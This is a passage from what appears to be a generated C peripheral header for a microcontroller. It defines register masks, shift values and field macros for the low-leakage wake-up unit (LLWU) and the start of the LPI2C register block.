#define LLWU_PE2_WUPE20(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PE2_WUPE20_SHIFT)) & LLWU_PE2_WUPE20_MASK)
#define LLWU_PE2_WUPE21_MASK (0xC00U)
#define LLWU_PE2_WUPE21_SHIFT (10U)
#define LLWU_PE2_WUPE21(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PE2_WUPE21_SHIFT)) & LLWU_PE2_WUPE21_MASK)
#define LLWU_PE2_WUPE22_MASK (0x3000U)
#define LLWU_PE2_WUPE22_SHIFT (12U)
#define LLWU_PE2_WUPE22(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PE2_WUPE22_SHIFT)) & LLWU_PE2_WUPE22_MASK)
#define LLWU_PE2_WUPE23_MASK (0xC000U)
#define LLWU_PE2_WUPE23_SHIFT (14U)
#define LLWU_PE2_WUPE23(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PE2_WUPE23_SHIFT)) & LLWU_PE2_WUPE23_MASK)
#define LLWU_PE2_WUPE24_MASK (0x30000U)
#define LLWU_PE2_WUPE24_SHIFT (16U)
#define LLWU_PE2_WUPE24(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PE2_WUPE24_SHIFT)) & LLWU_PE2_WUPE24_MASK)
#define LLWU_PE2_WUPE25_MASK (0xC0000U)
#define LLWU_PE2_WUPE25_SHIFT (18U)
#define LLWU_PE2_WUPE25(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PE2_WUPE25_SHIFT)) & LLWU_PE2_WUPE25_MASK)
#define LLWU_PE2_WUPE26_MASK (0x300000U)
#define LLWU_PE2_WUPE26_SHIFT (20U)
#define LLWU_PE2_WUPE26(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PE2_WUPE26_SHIFT)) & LLWU_PE2_WUPE26_MASK)
#define LLWU_PE2_WUPE27_MASK (0xC00000U)
#define LLWU_PE2_WUPE27_SHIFT (22U)
#define LLWU_PE2_WUPE27(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PE2_WUPE27_SHIFT)) & LLWU_PE2_WUPE27_MASK)
#define LLWU_PE2_WUPE28_MASK (0x3000000U)
#define LLWU_PE2_WUPE28_SHIFT (24U)
#define LLWU_PE2_WUPE28(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PE2_WUPE28_SHIFT)) & LLWU_PE2_WUPE28_MASK)
#define LLWU_PE2_WUPE29_MASK (0xC000000U)
#define LLWU_PE2_WUPE29_SHIFT (26U)
#define LLWU_PE2_WUPE29(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PE2_WUPE29_SHIFT)) & LLWU_PE2_WUPE29_MASK)
#define LLWU_PE2_WUPE30_MASK (0x30000000U)
#define LLWU_PE2_WUPE30_SHIFT (28U)
#define LLWU_PE2_WUPE30(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PE2_WUPE30_SHIFT)) & LLWU_PE2_WUPE30_MASK)
#define LLWU_PE2_WUPE31_MASK (0xC0000000U)
#define LLWU_PE2_WUPE31_SHIFT (30U)
#define LLWU_PE2_WUPE31(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PE2_WUPE31_SHIFT)) & LLWU_PE2_WUPE31_MASK)
/*! @name ME - LLWU Module Interrupt Enable register */
#define LLWU_ME_WUME0_MASK (0x1U)
#define LLWU_ME_WUME0_SHIFT (0U)
#define LLWU_ME_WUME0(x) (((uint32_t)(((uint32_t)(x)) << LLWU_ME_WUME0_SHIFT)) & LLWU_ME_WUME0_MASK)
#define LLWU_ME_WUME1_MASK (0x2U)
#define LLWU_ME_WUME1_SHIFT (1U)
#define LLWU_ME_WUME1(x) (((uint32_t)(((uint32_t)(x)) << LLWU_ME_WUME1_SHIFT)) & LLWU_ME_WUME1_MASK)
#define LLWU_ME_WUME2_MASK (0x4U)
#define LLWU_ME_WUME2_SHIFT (2U)
#define LLWU_ME_WUME2(x) (((uint32_t)(((uint32_t)(x)) << LLWU_ME_WUME2_SHIFT)) & LLWU_ME_WUME2_MASK)
#define LLWU_ME_WUME3_MASK (0x8U)
#define LLWU_ME_WUME3_SHIFT (3U)
#define LLWU_ME_WUME3(x) (((uint32_t)(((uint32_t)(x)) << LLWU_ME_WUME3_SHIFT)) & LLWU_ME_WUME3_MASK)
#define LLWU_ME_WUME4_MASK (0x10U)
#define LLWU_ME_WUME4_SHIFT (4U)
#define LLWU_ME_WUME4(x) (((uint32_t)(((uint32_t)(x)) << LLWU_ME_WUME4_SHIFT)) & LLWU_ME_WUME4_MASK)
#define LLWU_ME_WUME5_MASK (0x20U)
#define LLWU_ME_WUME5_SHIFT (5U)
#define LLWU_ME_WUME5(x) (((uint32_t)(((uint32_t)(x)) << LLWU_ME_WUME5_SHIFT)) & LLWU_ME_WUME5_MASK)
#define LLWU_ME_WUME6_MASK (0x40U)
#define LLWU_ME_WUME6_SHIFT (6U)
#define LLWU_ME_WUME6(x) (((uint32_t)(((uint32_t)(x)) << LLWU_ME_WUME6_SHIFT)) & LLWU_ME_WUME6_MASK)
#define LLWU_ME_WUME7_MASK (0x80U)
#define LLWU_ME_WUME7_SHIFT (7U)
#define LLWU_ME_WUME7(x) (((uint32_t)(((uint32_t)(x)) << LLWU_ME_WUME7_SHIFT)) & LLWU_ME_WUME7_MASK)
/*! @name DE - LLWU Module DMA Enable register */
#define LLWU_DE_WUDE0_MASK (0x1U)
#define LLWU_DE_WUDE0_SHIFT (0U)
#define LLWU_DE_WUDE0(x) (((uint32_t)(((uint32_t)(x)) << LLWU_DE_WUDE0_SHIFT)) & LLWU_DE_WUDE0_MASK)
#define LLWU_DE_WUDE1_MASK (0x2U)
#define LLWU_DE_WUDE1_SHIFT (1U)
#define LLWU_DE_WUDE1(x) (((uint32_t)(((uint32_t)(x)) << LLWU_DE_WUDE1_SHIFT)) & LLWU_DE_WUDE1_MASK)
#define LLWU_DE_WUDE2_MASK (0x4U)
#define LLWU_DE_WUDE2_SHIFT (2U)
#define LLWU_DE_WUDE2(x) (((uint32_t)(((uint32_t)(x)) << LLWU_DE_WUDE2_SHIFT)) & LLWU_DE_WUDE2_MASK)
#define LLWU_DE_WUDE3_MASK (0x8U)
#define LLWU_DE_WUDE3_SHIFT (3U)
#define LLWU_DE_WUDE3(x) (((uint32_t)(((uint32_t)(x)) << LLWU_DE_WUDE3_SHIFT)) & LLWU_DE_WUDE3_MASK)
#define LLWU_DE_WUDE4_MASK (0x10U)
#define LLWU_DE_WUDE4_SHIFT (4U)
#define LLWU_DE_WUDE4(x) (((uint32_t)(((uint32_t)(x)) << LLWU_DE_WUDE4_SHIFT)) & LLWU_DE_WUDE4_MASK)
#define LLWU_DE_WUDE5_MASK (0x20U)
#define LLWU_DE_WUDE5_SHIFT (5U)
#define LLWU_DE_WUDE5(x) (((uint32_t)(((uint32_t)(x)) << LLWU_DE_WUDE5_SHIFT)) & LLWU_DE_WUDE5_MASK)
#define LLWU_DE_WUDE6_MASK (0x40U)
#define LLWU_DE_WUDE6_SHIFT (6U)
#define LLWU_DE_WUDE6(x) (((uint32_t)(((uint32_t)(x)) << LLWU_DE_WUDE6_SHIFT)) & LLWU_DE_WUDE6_MASK)
#define LLWU_DE_WUDE7_MASK (0x80U)
#define LLWU_DE_WUDE7_SHIFT (7U)
#define LLWU_DE_WUDE7(x) (((uint32_t)(((uint32_t)(x)) << LLWU_DE_WUDE7_SHIFT)) & LLWU_DE_WUDE7_MASK)
/*! @name PF - LLWU Pin Flag register */
#define LLWU_PF_WUF0_MASK (0x1U)
#define LLWU_PF_WUF0_SHIFT (0U)
#define LLWU_PF_WUF0(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PF_WUF0_SHIFT)) & LLWU_PF_WUF0_MASK)
#define LLWU_PF_WUF1_MASK (0x2U)
#define LLWU_PF_WUF1_SHIFT (1U)
#define LLWU_PF_WUF1(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PF_WUF1_SHIFT)) & LLWU_PF_WUF1_MASK)
#define LLWU_PF_WUF2_MASK (0x4U)
#define LLWU_PF_WUF2_SHIFT (2U)
#define LLWU_PF_WUF2(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PF_WUF2_SHIFT)) & LLWU_PF_WUF2_MASK)
#define LLWU_PF_WUF3_MASK (0x8U)
#define LLWU_PF_WUF3_SHIFT (3U)
#define LLWU_PF_WUF3(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PF_WUF3_SHIFT)) & LLWU_PF_WUF3_MASK)
#define LLWU_PF_WUF4_MASK (0x10U)
#define LLWU_PF_WUF4_SHIFT (4U)
#define LLWU_PF_WUF4(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PF_WUF4_SHIFT)) & LLWU_PF_WUF4_MASK)
#define LLWU_PF_WUF5_MASK (0x20U)
#define LLWU_PF_WUF5_SHIFT (5U)
#define LLWU_PF_WUF5(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PF_WUF5_SHIFT)) & LLWU_PF_WUF5_MASK)
#define LLWU_PF_WUF6_MASK (0x40U)
#define LLWU_PF_WUF6_SHIFT (6U)
#define LLWU_PF_WUF6(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PF_WUF6_SHIFT)) & LLWU_PF_WUF6_MASK)
#define LLWU_PF_WUF7_MASK (0x80U)
#define LLWU_PF_WUF7_SHIFT (7U)
#define LLWU_PF_WUF7(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PF_WUF7_SHIFT)) & LLWU_PF_WUF7_MASK)
#define LLWU_PF_WUF8_MASK (0x100U)
#define LLWU_PF_WUF8_SHIFT (8U)
#define LLWU_PF_WUF8(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PF_WUF8_SHIFT)) & LLWU_PF_WUF8_MASK)
#define LLWU_PF_WUF9_MASK (0x200U)
#define LLWU_PF_WUF9_SHIFT (9U)
#define LLWU_PF_WUF9(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PF_WUF9_SHIFT)) & LLWU_PF_WUF9_MASK)
#define LLWU_PF_WUF10_MASK (0x400U)
#define LLWU_PF_WUF10_SHIFT (10U)
#define LLWU_PF_WUF10(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PF_WUF10_SHIFT)) & LLWU_PF_WUF10_MASK)
#define LLWU_PF_WUF11_MASK (0x800U)
#define LLWU_PF_WUF11_SHIFT (11U)
#define LLWU_PF_WUF11(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PF_WUF11_SHIFT)) & LLWU_PF_WUF11_MASK)
#define LLWU_PF_WUF12_MASK (0x1000U)
#define LLWU_PF_WUF12_SHIFT (12U)
#define LLWU_PF_WUF12(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PF_WUF12_SHIFT)) & LLWU_PF_WUF12_MASK)
#define LLWU_PF_WUF13_MASK (0x2000U)
#define LLWU_PF_WUF13_SHIFT (13U)
#define LLWU_PF_WUF13(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PF_WUF13_SHIFT)) & LLWU_PF_WUF13_MASK)
#define LLWU_PF_WUF14_MASK (0x4000U)
#define LLWU_PF_WUF14_SHIFT (14U)
#define LLWU_PF_WUF14(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PF_WUF14_SHIFT)) & LLWU_PF_WUF14_MASK)
#define LLWU_PF_WUF15_MASK (0x8000U)
#define LLWU_PF_WUF15_SHIFT (15U)
#define LLWU_PF_WUF15(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PF_WUF15_SHIFT)) & LLWU_PF_WUF15_MASK)
#define LLWU_PF_WUF16_MASK (0x10000U)
#define LLWU_PF_WUF16_SHIFT (16U)
#define LLWU_PF_WUF16(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PF_WUF16_SHIFT)) & LLWU_PF_WUF16_MASK)
#define LLWU_PF_WUF17_MASK (0x20000U)
#define LLWU_PF_WUF17_SHIFT (17U)
#define LLWU_PF_WUF17(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PF_WUF17_SHIFT)) & LLWU_PF_WUF17_MASK)
#define LLWU_PF_WUF18_MASK (0x40000U)
#define LLWU_PF_WUF18_SHIFT (18U)
#define LLWU_PF_WUF18(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PF_WUF18_SHIFT)) & LLWU_PF_WUF18_MASK)
#define LLWU_PF_WUF19_MASK (0x80000U)
#define LLWU_PF_WUF19_SHIFT (19U)
#define LLWU_PF_WUF19(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PF_WUF19_SHIFT)) & LLWU_PF_WUF19_MASK)
#define LLWU_PF_WUF20_MASK (0x100000U)
#define LLWU_PF_WUF20_SHIFT (20U)
#define LLWU_PF_WUF20(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PF_WUF20_SHIFT)) & LLWU_PF_WUF20_MASK)
#define LLWU_PF_WUF21_MASK (0x200000U)
#define LLWU_PF_WUF21_SHIFT (21U)
#define LLWU_PF_WUF21(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PF_WUF21_SHIFT)) & LLWU_PF_WUF21_MASK)
#define LLWU_PF_WUF22_MASK (0x400000U)
#define LLWU_PF_WUF22_SHIFT (22U)
#define LLWU_PF_WUF22(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PF_WUF22_SHIFT)) & LLWU_PF_WUF22_MASK)
#define LLWU_PF_WUF23_MASK (0x800000U)
#define LLWU_PF_WUF23_SHIFT (23U)
#define LLWU_PF_WUF23(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PF_WUF23_SHIFT)) & LLWU_PF_WUF23_MASK)
#define LLWU_PF_WUF24_MASK (0x1000000U)
#define LLWU_PF_WUF24_SHIFT (24U)
#define LLWU_PF_WUF24(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PF_WUF24_SHIFT)) & LLWU_PF_WUF24_MASK)
#define LLWU_PF_WUF25_MASK (0x2000000U)
#define LLWU_PF_WUF25_SHIFT (25U)
#define LLWU_PF_WUF25(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PF_WUF25_SHIFT)) & LLWU_PF_WUF25_MASK)
#define LLWU_PF_WUF26_MASK (0x4000000U)
#define LLWU_PF_WUF26_SHIFT (26U)
#define LLWU_PF_WUF26(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PF_WUF26_SHIFT)) & LLWU_PF_WUF26_MASK)
#define LLWU_PF_WUF27_MASK (0x8000000U)
#define LLWU_PF_WUF27_SHIFT (27U)
#define LLWU_PF_WUF27(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PF_WUF27_SHIFT)) & LLWU_PF_WUF27_MASK)
#define LLWU_PF_WUF28_MASK (0x10000000U)
#define LLWU_PF_WUF28_SHIFT (28U)
#define LLWU_PF_WUF28(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PF_WUF28_SHIFT)) & LLWU_PF_WUF28_MASK)
#define LLWU_PF_WUF29_MASK (0x20000000U)
#define LLWU_PF_WUF29_SHIFT (29U)
#define LLWU_PF_WUF29(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PF_WUF29_SHIFT)) & LLWU_PF_WUF29_MASK)
#define LLWU_PF_WUF30_MASK (0x40000000U)
#define LLWU_PF_WUF30_SHIFT (30U)
#define LLWU_PF_WUF30(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PF_WUF30_SHIFT)) & LLWU_PF_WUF30_MASK)
#define LLWU_PF_WUF31_MASK (0x80000000U)
#define LLWU_PF_WUF31_SHIFT (31U)
#define LLWU_PF_WUF31(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PF_WUF31_SHIFT)) & LLWU_PF_WUF31_MASK)
/*! @name MF - LLWU Module Interrupt Flag register */
#define LLWU_MF_MWUF0_MASK (0x1U)
#define LLWU_MF_MWUF0_SHIFT (0U)
#define LLWU_MF_MWUF0(x) (((uint32_t)(((uint32_t)(x)) << LLWU_MF_MWUF0_SHIFT)) & LLWU_MF_MWUF0_MASK)
#define LLWU_MF_MWUF1_MASK (0x2U)
#define LLWU_MF_MWUF1_SHIFT (1U)
#define LLWU_MF_MWUF1(x) (((uint32_t)(((uint32_t)(x)) << LLWU_MF_MWUF1_SHIFT)) & LLWU_MF_MWUF1_MASK)
#define LLWU_MF_MWUF2_MASK (0x4U)
#define LLWU_MF_MWUF2_SHIFT (2U)
#define LLWU_MF_MWUF2(x) (((uint32_t)(((uint32_t)(x)) << LLWU_MF_MWUF2_SHIFT)) & LLWU_MF_MWUF2_MASK)
#define LLWU_MF_MWUF3_MASK (0x8U)
#define LLWU_MF_MWUF3_SHIFT (3U)
#define LLWU_MF_MWUF3(x) (((uint32_t)(((uint32_t)(x)) << LLWU_MF_MWUF3_SHIFT)) & LLWU_MF_MWUF3_MASK)
#define LLWU_MF_MWUF4_MASK (0x10U)
#define LLWU_MF_MWUF4_SHIFT (4U)
#define LLWU_MF_MWUF4(x) (((uint32_t)(((uint32_t)(x)) << LLWU_MF_MWUF4_SHIFT)) & LLWU_MF_MWUF4_MASK)
#define LLWU_MF_MWUF5_MASK (0x20U)
#define LLWU_MF_MWUF5_SHIFT (5U)
#define LLWU_MF_MWUF5(x) (((uint32_t)(((uint32_t)(x)) << LLWU_MF_MWUF5_SHIFT)) & LLWU_MF_MWUF5_MASK)
#define LLWU_MF_MWUF6_MASK (0x40U)
#define LLWU_MF_MWUF6_SHIFT (6U)
#define LLWU_MF_MWUF6(x) (((uint32_t)(((uint32_t)(x)) << LLWU_MF_MWUF6_SHIFT)) & LLWU_MF_MWUF6_MASK)
#define LLWU_MF_MWUF7_MASK (0x80U)
#define LLWU_MF_MWUF7_SHIFT (7U)
#define LLWU_MF_MWUF7(x) (((uint32_t)(((uint32_t)(x)) << LLWU_MF_MWUF7_SHIFT)) & LLWU_MF_MWUF7_MASK)
/*! @name FILT - LLWU Pin Filter register */
#define LLWU_FILT_FILTSEL1_MASK (0x1FU)
#define LLWU_FILT_FILTSEL1_SHIFT (0U)
#define LLWU_FILT_FILTSEL1(x) (((uint32_t)(((uint32_t)(x)) << LLWU_FILT_FILTSEL1_SHIFT)) & LLWU_FILT_FILTSEL1_MASK)
#define LLWU_FILT_FILTE1_MASK (0x60U)
#define LLWU_FILT_FILTE1_SHIFT (5U)
#define LLWU_FILT_FILTE1(x) (((uint32_t)(((uint32_t)(x)) << LLWU_FILT_FILTE1_SHIFT)) & LLWU_FILT_FILTE1_MASK)
#define LLWU_FILT_FILTF1_MASK (0x80U)
#define LLWU_FILT_FILTF1_SHIFT (7U)
#define LLWU_FILT_FILTF1(x) (((uint32_t)(((uint32_t)(x)) << LLWU_FILT_FILTF1_SHIFT)) & LLWU_FILT_FILTF1_MASK)
#define LLWU_FILT_FILTSEL2_MASK (0x1F00U)
#define LLWU_FILT_FILTSEL2_SHIFT (8U)
#define LLWU_FILT_FILTSEL2(x) (((uint32_t)(((uint32_t)(x)) << LLWU_FILT_FILTSEL2_SHIFT)) & LLWU_FILT_FILTSEL2_MASK)
#define LLWU_FILT_FILTE2_MASK (0x6000U)
#define LLWU_FILT_FILTE2_SHIFT (13U)
#define LLWU_FILT_FILTE2(x) (((uint32_t)(((uint32_t)(x)) << LLWU_FILT_FILTE2_SHIFT)) & LLWU_FILT_FILTE2_MASK)
#define LLWU_FILT_FILTF2_MASK (0x8000U)
#define LLWU_FILT_FILTF2_SHIFT (15U)
#define LLWU_FILT_FILTF2(x) (((uint32_t)(((uint32_t)(x)) << LLWU_FILT_FILTF2_SHIFT)) & LLWU_FILT_FILTF2_MASK)
#define LLWU_FILT_FILTSEL3_MASK (0x1F0000U)
#define LLWU_FILT_FILTSEL3_SHIFT (16U)
#define LLWU_FILT_FILTSEL3(x) (((uint32_t)(((uint32_t)(x)) << LLWU_FILT_FILTSEL3_SHIFT)) & LLWU_FILT_FILTSEL3_MASK)
#define LLWU_FILT_FILTE3_MASK (0x600000U)
#define LLWU_FILT_FILTE3_SHIFT (21U)
#define LLWU_FILT_FILTE3(x) (((uint32_t)(((uint32_t)(x)) << LLWU_FILT_FILTE3_SHIFT)) & LLWU_FILT_FILTE3_MASK)
#define LLWU_FILT_FILTF3_MASK (0x800000U)
#define LLWU_FILT_FILTF3_SHIFT (23U)
#define LLWU_FILT_FILTF3(x) (((uint32_t)(((uint32_t)(x)) << LLWU_FILT_FILTF3_SHIFT)) & LLWU_FILT_FILTF3_MASK)
#define LLWU_FILT_FILTSEL4_MASK (0x1F000000U)
#define LLWU_FILT_FILTSEL4_SHIFT (24U)
#define LLWU_FILT_FILTSEL4(x) (((uint32_t)(((uint32_t)(x)) << LLWU_FILT_FILTSEL4_SHIFT)) & LLWU_FILT_FILTSEL4_MASK)
#define LLWU_FILT_FILTE4_MASK (0x60000000U)
#define LLWU_FILT_FILTE4_SHIFT (29U)
#define LLWU_FILT_FILTE4(x) (((uint32_t)(((uint32_t)(x)) << LLWU_FILT_FILTE4_SHIFT)) & LLWU_FILT_FILTE4_MASK)
#define LLWU_FILT_FILTF4_MASK (0x80000000U)
#define LLWU_FILT_FILTF4_SHIFT (31U)
#define LLWU_FILT_FILTF4(x) (((uint32_t)(((uint32_t)(x)) << LLWU_FILT_FILTF4_SHIFT)) & LLWU_FILT_FILTF4_MASK)
/*!
* @}
*/ /* end of group LLWU_Register_Masks */
/* LLWU - Peripheral instance base addresses */
/** Peripheral LLWU0 base address */
#define LLWU0_BASE (0x40061000u)
/** Peripheral LLWU0 base pointer */
#define LLWU0 ((LLWU_Type *)LLWU0_BASE)
/** Peripheral LLWU1 base address */
#define LLWU1_BASE (0x400E1000u)
/** Peripheral LLWU1 base pointer */
#define LLWU1 ((LLWU_Type *)LLWU1_BASE)
/** Array initializer of LLWU peripheral base addresses */
#define LLWU_BASE_ADDRS { LLWU0_BASE, LLWU1_BASE }
/** Array initializer of LLWU peripheral base pointers */
#define LLWU_BASE_PTRS { LLWU0, LLWU1 }
/** Interrupt vectors for the LLWU peripheral type */
#define LLWU_IRQS { LLWU0_IRQn, NotAvail_IRQn }
/*!
* @}
*/ /* end of group LLWU_Peripheral_Access_Layer */
/* ----------------------------------------------------------------------------
-- LPI2C Peripheral Access Layer
---------------------------------------------------------------------------- */
/*!
* @addtogroup LPI2C_Peripheral_Access_Layer LPI2C Peripheral Access Layer
* @{
*/
/** LPI2C - Register Layout Typedef */
typedef struct {
__I uint32_t VERID; /**< Version ID Register, offset: 0x0 */
__I uint32_t PARAM; /**< Parameter Register, offset: 0x4 */
uint8_t RESERVED_0[8];
__IO uint32_t MCR; /**< Master Control Register, offset: 0x10 */
__IO uint32_t MSR; /**< Master Status Register, offset: 0x14 */
__IO uint32_t MIER; /**< Master Interrupt Enable Register, offset: 0x18 */
__IO uint32_t MDER; /**< Master DMA Enable Register, offset: 0x1C */
__IO uint32_t MCFGR0; /**< Master Configuration Register 0, offset: 0x20 */
__IO uint32_t MCFGR1; /**< Master Configuration Register 1, offset: 0x24 */
__IO uint32_t MCFGR2; /**< Master Configuration Register 2, offset: 0x28 */
__IO uint32_t MCFGR3; /**< Master Configuration Register 3, offset: 0x2C */
uint8_t RESERVED_1[16];
__IO uint32_t MDMR; /**< Master Data Match Register, offset: 0x40 */
uint8_t RESERVED_2[4];
__IO uint32_t MCCR0; /**< Master Clock Configuration Register 0, offset: 0x48 */
uint8_t RESERVED_3[4];
__IO uint32_t MCCR1; /**< Master Clock Configuration Register 1, offset: 0x50 */
uint8_t RESERVED_4[4];
__IO uint32_t MFCR; /**< Master FIFO Control Register, offset: 0x58 */
__I uint32_t MFSR; /**< Master FIFO Status Register, offset: 0x5C */
__O uint32_t MTDR; /**< Master Transmit Data Register, offset: 0x60 */
uint8_t RESERVED_5[12];
__I uint32_t MRDR; /**< Master Receive Data Register, offset: 0x70 */
uint8_t RESERVED_6[156];
__IO uint32_t SCR; /**< Slave Control Register, offset: 0x110 */
__IO uint32_t SSR; /**< Slave Status Register, offset: 0x114 */
__IO uint32_t SIER; /**< Slave Interrupt Enable Register, offset: 0x118 */
__IO uint32_t SDER; /**< Slave DMA Enable Register, offset: 0x11C */
uint8_t RESERVED_7[4];
__IO uint32_t SCFGR1; /**< Slave Configuration Register 1, offset: 0x124 */
__IO uint32_t SCFGR2; /**< Slave Configuration Register 2, offset: 0x128 */
uint8_t RESERVED_8[20];
__IO uint32_t SAMR; /**< Slave Address Match Register, offset: 0x140 */
uint8_t RESERVED_9[12];
__I uint32_t SASR; /**< Slave Address Status Register, offset: 0x150 */
__IO uint32_t STAR; /**< Slave Transmit ACK Register, offset: 0x154 */
uint8_t RESERVED_10[8];
__O uint32_t STDR; /**< Slave Transmit Data Register, offset: 0x160 */
uint8_t RESERVED_11[12];
__I uint32_t SRDR; /**< Slave Receive Data Register, offset: 0x170 */
} LPI2C_Type;
/* ----------------------------------------------------------------------------
-- LPI2C Register Masks
---------------------------------------------------------------------------- */
/*!
* @addtogroup LPI2C_Register_Masks LPI2C Register Masks
* @{
*/
/*! @name VERID - Version ID Register */
#define LPI2C_VERID_FEATURE_MASK (0xFFFFU)
#define LPI2C_VERID_FEATURE_SHIFT (0U)
#define LPI2C_VERID_FEATURE(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_VERID_FEATURE_SHIFT)) & LPI2C_VERID_FEATURE_MASK)
#define LPI2C_VERID_MINOR_MASK (0xFF0000U)
#define LPI2C_VERID_MINOR_SHIFT (16U)
#define LPI2C_VERID_MINOR(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_VERID_MINOR_SHIFT)) & LPI2C_VERID_MINOR_MASK)
#define LPI2C_VERID_MAJOR_MASK (0xFF000000U)
#define LPI2C_VERID_MAJOR_SHIFT (24U)
#define LPI2C_VERID_MAJOR(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_VERID_MAJOR_SHIFT)) & LPI2C_VERID_MAJOR_MASK)
/*! @name PARAM - Parameter Register */
#define LPI2C_PARAM_MTXFIFO_MASK (0xFU)
#define LPI2C_PARAM_MTXFIFO_SHIFT (0U)
#define LPI2C_PARAM_MTXFIFO(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_PARAM_MTXFIFO_SHIFT)) & LPI2C_PARAM_MTXFIFO_MASK)
#define LPI2C_PARAM_MRXFIFO_MASK (0xF00U)
#define LPI2C_PARAM_MRXFIFO_SHIFT (8U)
#define LPI2C_PARAM_MRXFIFO(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_PARAM_MRXFIFO_SHIFT)) & LPI2C_PARAM_MRXFIFO_MASK)
/*! @name MCR - Master Control Register */
#define LPI2C_MCR_MEN_MASK (0x1U)
#define LPI2C_MCR_MEN_SHIFT (0U)
#define LPI2C_MCR_MEN(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MCR_MEN_SHIFT)) & LPI2C_MCR_MEN_MASK)
#define LPI2C_MCR_RST_MASK (0x2U)
#define LPI2C_MCR_RST_SHIFT (1U)
#define LPI2C_MCR_RST(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MCR_RST_SHIFT)) & LPI2C_MCR_RST_MASK)
#define LPI2C_MCR_DOZEN_MASK (0x4U)
#define LPI2C_MCR_DOZEN_SHIFT (2U)
#define LPI2C_MCR_DOZEN(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MCR_DOZEN_SHIFT)) & LPI2C_MCR_DOZEN_MASK)
#define LPI2C_MCR_DBGEN_MASK (0x8U)
#define LPI2C_MCR_DBGEN_SHIFT (3U)
#define LPI2C_MCR_DBGEN(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MCR_DBGEN_SHIFT)) & LPI2C_MCR_DBGEN_MASK)
#define LPI2C_MCR_RTF_MASK (0x100U)
#define LPI2C_MCR_RTF_SHIFT (8U)
#define LPI2C_MCR_RTF(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MCR_RTF_SHIFT)) & LPI2C_MCR_RTF_MASK)
#define LPI2C_MCR_RRF_MASK (0x200U)
#define LPI2C_MCR_RRF_SHIFT (9U)
#define LPI2C_MCR_RRF(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MCR_RRF_SHIFT)) & LPI2C_MCR_RRF_MASK)
/*! @name MSR - Master Status Register */
#define LPI2C_MSR_TDF_MASK (0x1U)
#define LPI2C_MSR_TDF_SHIFT (0U)
#define LPI2C_MSR_TDF(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MSR_TDF_SHIFT)) & LPI2C_MSR_TDF_MASK)
#define LPI2C_MSR_RDF_MASK (0x2U)
#define LPI2C_MSR_RDF_SHIFT (1U)
#define LPI2C_MSR_RDF(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MSR_RDF_SHIFT)) & LPI2C_MSR_RDF_MASK)
#define LPI2C_MSR_EPF_MASK (0x100U)
#define LPI2C_MSR_EPF_SHIFT (8U)
#define LPI2C_MSR_EPF(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MSR_EPF_SHIFT)) & LPI2C_MSR_EPF_MASK)
#define LPI2C_MSR_SDF_MASK (0x200U)
#define LPI2C_MSR_SDF_SHIFT (9U)
#define LPI2C_MSR_SDF(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MSR_SDF_SHIFT)) & LPI2C_MSR_SDF_MASK)
#define LPI2C_MSR_NDF_MASK (0x400U)
#define LPI2C_MSR_NDF_SHIFT (10U)
#define LPI2C_MSR_NDF(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MSR_NDF_SHIFT)) & LPI2C_MSR_NDF_MASK)
#define LPI2C_MSR_ALF_MASK (0x800U)
#define LPI2C_MSR_ALF_SHIFT (11U)
#define LPI2C_MSR_ALF(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MSR_ALF_SHIFT)) & LPI2C_MSR_ALF_MASK)
#define LPI2C_MSR_FEF_MASK (0x1000U)
#define LPI2C_MSR_FEF_SHIFT (12U)
